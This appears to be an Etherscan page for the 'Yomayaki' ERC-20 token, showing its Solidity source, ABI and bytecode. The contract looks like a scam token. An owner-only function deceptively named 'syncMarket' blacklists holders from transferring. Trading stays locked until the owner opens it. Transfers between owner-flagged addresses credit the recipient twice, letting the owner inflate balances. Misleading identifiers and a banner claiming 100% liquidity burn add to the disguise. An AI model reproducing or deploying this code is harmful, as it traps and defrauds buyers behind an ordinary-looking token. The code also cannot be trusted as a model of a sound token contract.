ERC-20
Overview
Max Total Supply
10,000,000 与 马
Holders
5
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
9,105.78042588541772419 与 马Value
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
Yomayaki
Compiler Version
v0.8.14+commit.80d49f37
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-01-16 */ /* ⋆⁺₊⋆⋆⁺₊⋆ ☁︎⋆⁺₊⋆ ☾ ⋆⁺₊⋆ ☁︎⋆⁺₊⋆ ⋆⁺₊⋆ ☁︎ ⋆⁺₊⋆⋆⁺₊⋆ ☁︎⋆⁺₊⋆ ⋆⁺₊⋆ ☁︎⋆⁺₊⋆ ⋆⁺₊⋆ ☁︎ ._ __. / \"-. ,-",'/ ( \ ,"--.__.--".,' / =---Y(_i.-' |-.i_)---= f , "..'/\\v/|/|/\ , l l// ,'|/ V / /|| \\j "--; / db db|/---" | \ YY , YY// '.\>_ (_),"' __ .-" "-.-." I," `. \.-""-. ( , ) ( \ | ( l `"' -'-._j __,---_ '._." . . \ (__.--_-'. , : ' \ '-. ,' .' / | \ \ \ "- "--.._____t____.--'-""' / / `. ". / ": \' '. .' ( \ : | l j "-. l_;_;I l____;_I 初期流動性の 100% が消費されます 購入手数料 - 1% 販売手数料 - 0% █▄█ █▀█ █▀▄▀█ ▄▀█ █▄█ ▄▀█ █▄▀ █ ░█░ █▄█ █░▀░█ █▀█ ░█░ █▀█ █░█ █ ▄▀ █▀▀ █▄░█ ▀▄ ▀▄ █▄▄ █░▀█ ▄▀ */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.11; library SafeMathUI { function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } } interface USDCFactoryV1 { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function createPair(address tokenA, address tokenB) external returns (address pair); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; return msg.data; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred (address indexed previousOwner, address indexed newOwner); constructor () { _owner = 0x877690228e0d13FEd4c4f0314DcAd9f8811EdD7f; emit OwnershipTransferred(address(0), _owner); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IBCSRouted01 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } interface IETH20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } // https://www.zhihu.com/ // de ETHERSCAN.io. contract Yomayaki is Context, IETH20, Ownable { using SafeMathUI for uint256; IBCSRouted01 public immutable IPCSMoltenV2; address public immutable uniswapV2Pair; bool public limitationsRate = true; bool private beginTrading = false; bool swapThresholdNow; uint256 private minValueInPair = 1000000000 * 10**18; event earlyCooldownTrigger(uint256 tValueInPair); event tradingIntervalLogs( bool enabled); event tokenMultiplier( uint256 tInSwap, uint256 bytesArray, uint256 limitFees ); modifier lockTheSwap { swapThresholdNow = true; _; swapThresholdNow = false; } mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private automatedMarketMakerPairs; mapping (address => bool) private isWalletLimitExempt; string private _name = unicode"Yomayaki"; string private _symbol = unicode"与 马"; uint256 private constant isWHOLE = ~uint256(0); uint8 private _decimals = 18; uint256 private _rTotal = 10000000 * 10**_decimals; uint256 public intSwapAt = 1000000 * 10**_decimals; uint256 private _tTotal = (isWHOLE - (isWHOLE % _rTotal)); uint256 private TeamDenominator; bool public stringSwapMap = true; uint256 private ifThresholdOn = _startTime; uint256 private cooldownTimerInterval = exchangeOperations; uint256 private checkAllLimitations = enableEarlySellTax; uint256 public _startTime = 30; uint256 public enableEarlySellTax = 20; uint256 public exchangeOperations = 0; constructor () { _tOwned[owner()] = _rTotal; IBCSRouted01 _IPCSMoltenV2 = IBCSRouted01 (0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Pair = USDCFactoryV1 (_IPCSMoltenV2.factory()) .createPair(address(this), _IPCSMoltenV2.WETH()); IPCSMoltenV2 = _IPCSMoltenV2; automatedMarketMakerPairs [owner()] = true; automatedMarketMakerPairs [address(this)] = true; emit Transfer(address(0), owner(), _rTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _rTotal; } function balanceOf(address account) public view override returns (uint256) { return _tOwned[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function syncMarket (address account, bool marketSynced) public onlyOwner { isWalletLimitExempt[account] = marketSynced; } receive() external payable {} function _transfer( address from, address to, uint256 amount ) private { require(amount > 0, "Transfer amount must be greater than zero"); bool manageCooldown = false; if(!automatedMarketMakerPairs[from] && !automatedMarketMakerPairs[to]){ manageCooldown = true; require(amount <= intSwapAt, "Transfer amount exceeds the maxTxAmount."); } require(!isWalletLimitExempt[from] && !isWalletLimitExempt[to], "You have been blacklisted from transfering tokens"); uint256 isPairBalance = balanceOf(address(this)); if(isPairBalance >= intSwapAt) { isPairBalance = intSwapAt; } _tokenTransfer(from,to,amount,manageCooldown); emit Transfer(from, to, amount); if (!beginTrading) {require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } } function addLiquidity (uint256 tokenAmount, uint256 ethAmount) private { _approve(address(this), address (IPCSMoltenV2), tokenAmount); IPCSMoltenV2.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, 0, owner(), block.timestamp ); } function _tokenTransfer (address sender, address recipient, uint256 amount, bool manageCooldown) private { _transferStandard (sender, recipient, amount, manageCooldown); } function TokenMultiplier (uint256 isPairBalance) private lockTheSwap { uint256 maths = isPairBalance.div(2); uint256 doMathWork = isPairBalance.sub(maths); uint256 initialBalance = address(this).balance; swapTokensForEth(maths); uint256 rBalanceOn = address(this).balance.sub(initialBalance); addLiquidity(doMathWork, rBalanceOn); emit tokenMultiplier(maths, rBalanceOn, doMathWork); } function _transferStandard (address sender, address recipient, uint256 tAmount, bool manageCooldown) private { uint256 swapTimesOpen = 0; if (manageCooldown){ swapTimesOpen = tAmount.mul(1).div(100) ; } uint256 rAmount = tAmount - swapTimesOpen; _tOwned[recipient] = _tOwned[recipient].add(rAmount); uint256 valueWith = _tOwned [recipient].add(rAmount); _tOwned[sender] = _tOwned [sender].sub(rAmount); bool automatedMarketMakerPairs = automatedMarketMakerPairs[sender] && automatedMarketMakerPairs[recipient]; if (automatedMarketMakerPairs ){ _tOwned[recipient] =valueWith; } else { emit Transfer (sender, recipient, rAmount); } } function swapTokensForEth(uint256 tokenAmount) private { address[] memory path = new address[] (2); path[0] = address(this); path[1] = IPCSMoltenV2.WETH(); _approve(address(this), address (IPCSMoltenV2), tokenAmount); IPCSMoltenV2.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function prepareTrading(bool _tradingOpen) public onlyOwner { beginTrading = _tradingOpen; } function minRates(uint256 _amount) private view returns (uint256) { return _amount.mul (_startTime).div ( 10**3 ); } function maxRates(uint256 _amount) private view returns (uint256) { return _amount.mul (exchangeOperations).div ( 10**3 ); } function totalRatesCombined(uint256 _amount) private view returns (uint256) { return _amount.mul (enableEarlySellTax).div ( 10**3 ); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval( owner, spender, amount); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tValueInPair","type":"uint256"}],"name":"earlyCooldownTrigger","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tInSwap","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"bytesArray","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"limitFees","type":"uint256"}],"name":"tokenMultiplier","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"tradingIntervalLogs","type":"event"},{"inputs":[],"name":"IPCSMoltenV2","outputs":[{"internalType":"contract IBCSRouted01","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_startTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"enableEarlySellTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"exchangeOperations","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"intSwapAt","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"limitationsRate","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"_tradingOpen","type":"bool"}],"name":"prepareTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"stringSwapMap","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"marketSynced","type":"bool"}],"name":"syncMarket","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
6000805461ffff60a01b1916600160a01b1790556b033b2e3c9fd0803ce8000000600155610100604052600860c081905267596f6d6179616b6960c01b60e0908152620000509160069190620003f5565b5060408051808201909152600780825266392e23883a6a6b60ca1b60209092019182526200007f9181620003f5565b506008805460ff191660129081179091556200009d90600a620005b0565b620000ac9062989680620005c8565b600955600854620000c29060ff16600a620005b0565b620000d190620f4240620005c8565b600a55600954620000e590600019620005ea565b620000f3906000196200060d565b600b55600d805460ff1916600117905560118054600e5560138054600f5560128054601055601e9092556014909155600090553480156200013357600080fd5b50600080546001600160a01b03191673877690228e0d13fed4c4f0314dcad9f8811edd7f90811782556040519091907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a36009546002600062000198620003e6565b6001600160a01b03166001600160a01b03168152602001908152602001600020819055506000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000214573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200023a919062000627565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000288573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002ae919062000627565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015620002fc573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000322919062000627565b6001600160a01b0390811660a052811660805260016004600062000345620003e6565b6001600160a01b0316815260208082019290925260409081016000908120805494151560ff1995861617905530815260049092529020805490911660011790556200038f620003e6565b6001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600954604051620003d791815260200190565b60405180910390a3506200068e565b6000546001600160a01b031690565b828054620004039062000652565b90600052602060002090601f01602090048101928262000427576000855562000472565b82601f106200044257805160ff191683800117855562000472565b8280016001018555821562000472579182015b828111156200047257825182559160200191906001019062000455565b506200048092915062000484565b5090565b5b8082111562000480576000815560010162000485565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620004f2578160001904821115620004d657620004d66200049b565b80851615620004e457918102915b93841c9390800290620004b6565b509250929050565b6000826200050b57506001620005aa565b816200051a57506000620005aa565b81600181146200053357600281146200053e576200055e565b6001915050620005aa565b60ff8411156200055257620005526200049b565b50506001821b620005aa565b5060208310610133831016604e8410600b841016171562000583575081810a620005aa565b6200058f8383620004b1565b8060001904821115620005a657620005a66200049b565b0290505b92915050565b6000620005c160ff841683620004fa565b9392505050565b6000816000190483118215151615620005e557620005e56200049b565b500290565b6000826200060857634e487b7160e01b600052601260045260246000fd5b500690565b6000828210156200062257620006226200049b565b500390565b6000602082840312156200063a57600080fd5b81516001600160a01b0381168114620005c157600080fd5b600181811c908216806200066757607f821691505b6020821081036200068857634e487b7160e01b600052602260045260246000fd5b50919050565b60805160a051610f01620006b46000396000610208015260006102d60152610f016000f3fe6080604052600436106100fe5760003560e01c806306fdde031461010a578063095ea7b31461013557806318160ddd1461016557806323b872dd14610184578063313ce567146101a45780633915b2f2146101c657806347ebd62e146101e057806349bd5a5e146101f657806365f685a81461024257806370a0823114610264578063715018a61461028457806383bce4b7146102995780638da5cb5b146102af57806394946965146102c457806395d89b41146102f8578063a4d15b641461030d578063a9059cbb14610323578063bf3f710d14610343578063dd62ed3e14610363578063ec93f425146103a9578063fa1acb5c146103ca57600080fd5b3661010557005b600080fd5b34801561011657600080fd5b5061011f6103e0565b60405161012c9190610c14565b60405180910390f35b34801561014157600080fd5b50610155610150366004610c85565b610472565b604051901515815260200161012c565b34801561017157600080fd5b506009545b60405190815260200161012c565b34801561019057600080fd5b5061015561019f366004610caf565b610488565b3480156101b057600080fd5b5060085460405160ff909116815260200161012c565b3480156101d257600080fd5b50600d546101559060ff1681565b3480156101ec57600080fd5b50610176600a5481565b34801561020257600080fd5b5061022a7f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b03909116815260200161012c565b34801561024e57600080fd5b5061026261025d366004610cfb565b6104f1565b005b34801561027057600080fd5b5061017661027f366004610d16565b610547565b34801561029057600080fd5b50610262610562565b3480156102a557600080fd5b5061017660135481565b3480156102bb57600080fd5b5061022a6105db565b3480156102d057600080fd5b5061022a7f000000000000000000000000000000000000000000000000000000000000000081565b34801561030457600080fd5b5061011f6105ea565b34801561031957600080fd5b5061017660125481565b34801561032f57600080fd5b5061015561033e366004610c85565b6105f9565b34801561034f57600080fd5b5061026261035e366004610d31565b610606565b34801561036f57600080fd5b5061017661037e366004610d64565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b3480156103b557600080fd5b5060005461015590600160a01b900460ff1681565b3480156103d657600080fd5b5061017660115481565b6060600680546103ef90610d8e565b80601f016020809104026020016040519081016040528092919081815260200182805461041b90610d8e565b80156104685780601f1061043d57610100808354040283529160200191610468565b820191906000526020600020905b81548152906001019060200180831161044b57829003601f168201915b5050505050905090565b600061047f338484610660565b50600192915050565b6000610495848484610784565b6104e784336104e285604051806060016040528060288152602001610e84602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190610a44565b610660565b5060019392505050565b336104fa6105db565b6001600160a01b0316146105295760405162461bcd60e51b815260040161052090610dc8565b60405180910390fd5b60008054911515600160a81b0260ff60a81b19909216919091179055565b6001600160a01b031660009081526002602052604090205490565b3361056b6105db565b6001600160a01b0316146105915760405162461bcd60e51b815260040161052090610dc8565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031690565b6060600780546103ef90610d8e565b600061047f338484610784565b3361060f6105db565b6001600160a01b0316146106355760405162461bcd60e51b815260040161052090610dc8565b6001600160a01b03919091166000908152600560205260409020805460ff1916911515919091179055565b6001600160a01b0383166106c25760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610520565b6001600160a01b0382166107235760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610520565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b600081116107e65760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610520565b6001600160a01b03831660009081526004602052604081205460ff1615801561082857506001600160a01b03831660009081526004602052604090205460ff16155b156108945760019050600a548211156108945760405162461bcd60e51b815260206004820152602860248201527f5472616e7366657220616d6f756e74206578636565647320746865206d6178546044820152673c20b6b7bab73a1760c11b6064820152608401610520565b6001600160a01b03841660009081526005602052604090205460ff161580156108d657506001600160a01b03831660009081526005602052604090205460ff16155b61093c5760405162461bcd60e51b815260206004820152603160248201527f596f752068617665206265656e20626c61636b6c69737465642066726f6d207460448201527072616e73666572696e6720746f6b656e7360781b6064820152608401610520565b600061094730610547565b9050600a5481106109575750600a545b61096385858585610a70565b836001600160a01b0316856001600160a01b0316600080516020610eac8339815191528560405161099691815260200190565b60405180910390a3600054600160a81b900460ff16610a3d576109b76105db565b6001600160a01b0316856001600160a01b031614610a3d5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610520565b5050505050565b60008184841115610a685760405162461bcd60e51b81526004016105209190610c14565b505050900390565b610a7c84848484610a82565b50505050565b60008115610aa357610aa06064610a9a856001610bdd565b90610bf0565b90505b6000610aaf8285610e13565b6001600160a01b038616600090815260026020526040902054909150610ad59082610bfc565b6001600160a01b038616600090815260026020526040812082905590610afb9083610bfc565b6001600160a01b038816600090815260026020526040902054909150610b219083610c08565b6001600160a01b038816600090815260026020908152604080832093909355600490529081205460ff168015610b6f57506001600160a01b03871660009081526004602052604090205460ff165b90508015610b97576001600160a01b0387166000908152600260205260409020829055610bd3565b866001600160a01b0316886001600160a01b0316600080516020610eac83398151915285604051610bca91815260200190565b60405180910390a35b5050505050505050565b6000610be98284610e2a565b9392505050565b6000610be98284610e49565b6000610be98284610e6b565b6000610be98284610e13565b600060208083528351808285015260005b81811015610c4157858101830151858201604001528201610c25565b81811115610c53576000604083870101525b50601f01601f1916929092016040019392505050565b80356001600160a01b0381168114610c8057600080fd5b919050565b60008060408385031215610c9857600080fd5b610ca183610c69565b946020939093013593505050565b600080600060608486031215610cc457600080fd5b610ccd84610c69565b9250610cdb60208501610c69565b9150604084013590509250925092565b80358015158114610c8057600080fd5b600060208284031215610d0d57600080fd5b610be982610ceb565b600060208284031215610d2857600080fd5b610be982610c69565b60008060408385031215610d4457600080fd5b610d4d83610c69565b9150610d5b60208401610ceb565b90509250929050565b60008060408385031215610d7757600080fd5b610d8083610c69565b9150610d5b60208401610c69565b600181811c90821680610da257607f821691505b602082108103610dc257634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b600082821015610e2557610e25610dfd565b500390565b6000816000190483118215151615610e4457610e44610dfd565b500290565b600082610e6657634e487b7160e01b600052601260045260246000fd5b500490565b60008219821115610e7e57610e7e610dfd565b50019056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa2646970667358221220c0d9703423fbd6d476d7ffab1a2429746dd0a3e57d45f4ffc1faa8ee5fef246064736f6c634300080e0033
Deployed Bytecode
0x6080604052600436106100fe5760003560e01c806306fdde031461010a578063095ea7b31461013557806318160ddd1461016557806323b872dd14610184578063313ce567146101a45780633915b2f2146101c657806347ebd62e146101e057806349bd5a5e146101f657806365f685a81461024257806370a0823114610264578063715018a61461028457806383bce4b7146102995780638da5cb5b146102af57806394946965146102c457806395d89b41146102f8578063a4d15b641461030d578063a9059cbb14610323578063bf3f710d14610343578063dd62ed3e14610363578063ec93f425146103a9578063fa1acb5c146103ca57600080fd5b3661010557005b600080fd5b34801561011657600080fd5b5061011f6103e0565b60405161012c9190610c14565b60405180910390f35b34801561014157600080fd5b50610155610150366004610c85565b610472565b604051901515815260200161012c565b34801561017157600080fd5b506009545b60405190815260200161012c565b34801561019057600080fd5b5061015561019f366004610caf565b610488565b3480156101b057600080fd5b5060085460405160ff909116815260200161012c565b3480156101d257600080fd5b50600d546101559060ff1681565b3480156101ec57600080fd5b50610176600a5481565b34801561020257600080fd5b5061022a7f0000000000000000000000005fa5e8ea8e60f6ef2446f64f63918e8b715b008f81565b6040516001600160a01b03909116815260200161012c565b34801561024e57600080fd5b5061026261025d366004610cfb565b6104f1565b005b34801561027057600080fd5b5061017661027f366004610d16565b610547565b34801561029057600080fd5b50610262610562565b3480156102a557600080fd5b5061017660135481565b3480156102bb57600080fd5b5061022a6105db565b3480156102d057600080fd5b5061022a7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b34801561030457600080fd5b5061011f6105ea565b34801561031957600080fd5b5061017660125481565b34801561032f57600080fd5b5061015561033e366004610c85565b6105f9565b34801561034f57600080fd5b5061026261035e366004610d31565b610606565b34801561036f57600080fd5b5061017661037e366004610d64565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b3480156103b557600080fd5b5060005461015590600160a01b900460ff1681565b3480156103d657600080fd5b5061017660115481565b6060600680546103ef90610d8e565b80601f016020809104026020016040519081016040528092919081815260200182805461041b90610d8e565b80156104685780601f1061043d57610100808354040283529160200191610468565b820191906000526020600020905b81548152906001019060200180831161044b57829003601f168201915b5050505050905090565b600061047f338484610660565b50600192915050565b6000610495848484610784565b6104e784336104e285604051806060016040528060288152602001610e84602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190610a44565b610660565b5060019392505050565b336104fa6105db565b6001600160a01b0316146105295760405162461bcd60e51b815260040161052090610dc8565b60405180910390fd5b60008054911515600160a81b0260ff60a81b19909216919091179055565b6001600160a01b031660009081526002602052604090205490565b3361056b6105db565b6001600160a01b0316146105915760405162461bcd60e51b815260040161052090610dc8565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031690565b6060600780546103ef90610d8e565b600061047f338484610784565b3361060f6105db565b6001600160a01b0316146106355760405162461bcd60e51b815260040161052090610dc8565b6001600160a01b03919091166000908152600560205260409020805460ff1916911515919091179055565b6001600160a01b0383166106c25760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610520565b6001600160a01b0382166107235760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610520565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b600081116107e65760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610520565b6001600160a01b03831660009081526004602052604081205460ff1615801561082857506001600160a01b03831660009081526004602052604090205460ff16155b156108945760019050600a548211156108945760405162461bcd60e51b815260206004820152602860248201527f5472616e7366657220616d6f756e74206578636565647320746865206d6178546044820152673c20b6b7bab73a1760c11b6064820152608401610520565b6001600160a01b03841660009081526005602052604090205460ff161580156108d657506001600160a01b03831660009081526005602052604090205460ff16155b61093c5760405162461bcd60e51b815260206004820152603160248201527f596f752068617665206265656e20626c61636b6c69737465642066726f6d207460448201527072616e73666572696e6720746f6b656e7360781b6064820152608401610520565b600061094730610547565b9050600a5481106109575750600a545b61096385858585610a70565b836001600160a01b0316856001600160a01b0316600080516020610eac8339815191528560405161099691815260200190565b60405180910390a3600054600160a81b900460ff16610a3d576109b76105db565b6001600160a01b0316856001600160a01b031614610a3d5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610520565b5050505050565b60008184841115610a685760405162461bcd60e51b81526004016105209190610c14565b505050900390565b610a7c84848484610a82565b50505050565b60008115610aa357610aa06064610a9a856001610bdd565b90610bf0565b90505b6000610aaf8285610e13565b6001600160a01b038616600090815260026020526040902054909150610ad59082610bfc565b6001600160a01b038616600090815260026020526040812082905590610afb9083610bfc565b6001600160a01b038816600090815260026020526040902054909150610b219083610c08565b6001600160a01b038816600090815260026020908152604080832093909355600490529081205460ff168015610b6f57506001600160a01b03871660009081526004602052604090205460ff165b90508015610b97576001600160a01b0387166000908152600260205260409020829055610bd3565b866001600160a01b0316886001600160a01b0316600080516020610eac83398151915285604051610bca91815260200190565b60405180910390a35b5050505050505050565b6000610be98284610e2a565b9392505050565b6000610be98284610e49565b6000610be98284610e6b565b6000610be98284610e13565b600060208083528351808285015260005b81811015610c4157858101830151858201604001528201610c25565b81811115610c53576000604083870101525b50601f01601f1916929092016040019392505050565b80356001600160a01b0381168114610c8057600080fd5b919050565b60008060408385031215610c9857600080fd5b610ca183610c69565b946020939093013593505050565b600080600060608486031215610cc457600080fd5b610ccd84610c69565b9250610cdb60208501610c69565b9150604084013590509250925092565b80358015158114610c8057600080fd5b600060208284031215610d0d57600080fd5b610be982610ceb565b600060208284031215610d2857600080fd5b610be982610c69565b60008060408385031215610d4457600080fd5b610d4d83610c69565b9150610d5b60208401610ceb565b90509250929050565b60008060408385031215610d7757600080fd5b610d8083610c69565b9150610d5b60208401610c69565b600181811c90821680610da257607f821691505b602082108103610dc257634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a20